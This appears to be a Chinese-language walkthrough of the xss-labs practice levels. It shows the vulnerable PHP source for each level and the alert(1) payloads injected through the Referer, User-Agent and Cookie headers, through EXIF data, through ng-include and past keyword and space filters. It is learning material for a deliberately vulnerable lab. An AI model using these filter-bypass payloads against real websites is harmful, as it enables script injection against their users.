查看网页源代码
抓包
修改,放包
Referer: 111" onclick="alert(1)" type="text
浏览器效果
下一关
源码
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER']; //可传入的参数,可能需要抓包才能修改
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden"> //注入点
';
?>
看源码,跟user-agent有关
抓包修改
User-Agent: 111" onclick="alert(1)" type="
查看网页源代码,点击输入框即可通关
源码
......
$str11=$_SERVER['HTTP_USER_AGENT']; //注入点
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
......
<input name="t_ua" value="'.$str33.'" type="hidden"> //能浏览器加载的地方
......
?>
看网页源代码,跟cookie有关
浏览器新建cookie(或者抓包修改也可以)
user: 111" onclick="alert(1)" type="
刷新加载
源码
setcookie("user", "call me maybe?", time()+3600);
......
$str11=$_COOKIE["user"]; //注入点
......
<input name="t_cook" value="'.$str33.'" type="hidden">
......
?>
emmm,这关需要自己找环境复现。
exif xss介绍
exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。
因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。
制作恶意图片
截图不行,无法写入
这张图片时手机拍的,可以写入
可以读取exif信息的网址
https://www.sojson.com/image/exif.html
https://exifdata.com/
可以在
html
文件中包含外部的html
文件
特别注意:
ng-include,如果单纯指定地址,必须要加引号
'
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html,含有style标签样式可以识别
改变参数,观测效果
文件包含进来了,使用'
,看特别注意1
为什么包含php文件也可以?
应该是把php文件执行后生成的html文件包含进来的。
加入参数进行测试,有回显
传入进行测试,但是不执行,看特别注意2
?src='level1.php?name='
传入进行测试,看特别注意3,进入下一关
?src='level1.php?name='
源码
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '.htmlspecialchars($str).'">';
?>
源码
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); //小写,注入点
$str2=str_replace("script"," ",$str); //将script替换为 不使用script即可
$str3=str_replace(" "," ",$str2); //将空格替换为 用%0a代替
$str4=str_replace("/"," ",$str3); //将/替换为 可以用单标签进行绕过
$str5=str_replace(" "," ",$str4); //将空格替换为
echo "" .$str5.""; //浏览器加载注入代码
?>
测试,观测浏览器加载效果和网页源代码
payload
----------------------------------
用%0a替换空格
onerror 事件在加载外部文件(文档或图像)发生错误时触发。
在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。
下一关
源码
<body>
<h1 align=center>欢迎来到level17h1>
";
?>
<h2 align=center>成功后,点我进入下一关a>h2>
body>
测试
标签
引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。
传入进行测试
传入onclick=alert(1)
进行测试
进行测试
用onclick=alert(1)
不行,用onmouseover=alert(1)
下一关
供参考已复现成功的文章
XSS-labs Level 19 Flash XSS
XSS之xss-labs-level19
本人的尝试失败,以下经验仅供参考
flash xss 原理
flash有可以调用
js
的函数,也就是可以和js
进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。
测试
不能用"
直接参考别人的payload
用IE浏览器打开,自动跳转成Microsoft edge,修改设置
IE浏览器访问,但是浏览器自动禁止了XSS
没了